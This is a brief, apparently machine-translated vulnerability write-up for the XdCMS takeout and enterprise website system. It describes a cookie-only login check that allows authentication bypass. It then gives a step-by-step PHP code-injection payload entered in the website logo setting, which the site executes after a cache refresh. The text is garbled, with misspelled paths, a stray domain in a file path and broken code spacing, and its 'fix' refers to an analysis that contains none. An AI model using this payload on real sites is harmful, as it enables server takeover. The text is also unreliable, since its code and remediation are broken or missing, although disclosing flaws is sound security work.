XdCMS takeout, ordering, and enterprise website system vulnerabilities and fixes

Vulnerability file: System/modeules/member/login. php
 
If (empty ($ _ COOKIE ['Member _ user']) | empty ($ _ COOKIE ['Member _ userid']) // only checks whether the Cookie exists
 
Vulnerability file: www.2cto.com system/libs/base. class. php
 
If (empty ($ _ COOKIE ['Member _ user']) | empty ($ _ COOKIE ['Member _ userid']) {// only judge cookies
 
Sysplugins \ smarty_internal_compile_include.php
 
The parameter $ include_file has a problem. The code is executed twice in the background.
 
1. Access // index. php? M = xdcms & c = setting
 
2. Enter ') ;?> at the Website LOGO address. <? Php phpinfo ()?> <? Php $ _ config = array ('logurl' => '"
 
3. Click the back-end homepage> Common Operations> Update the full-site cache to refresh the added php code.

Author Wang taobaozhi

Fix: see the preceding analysis.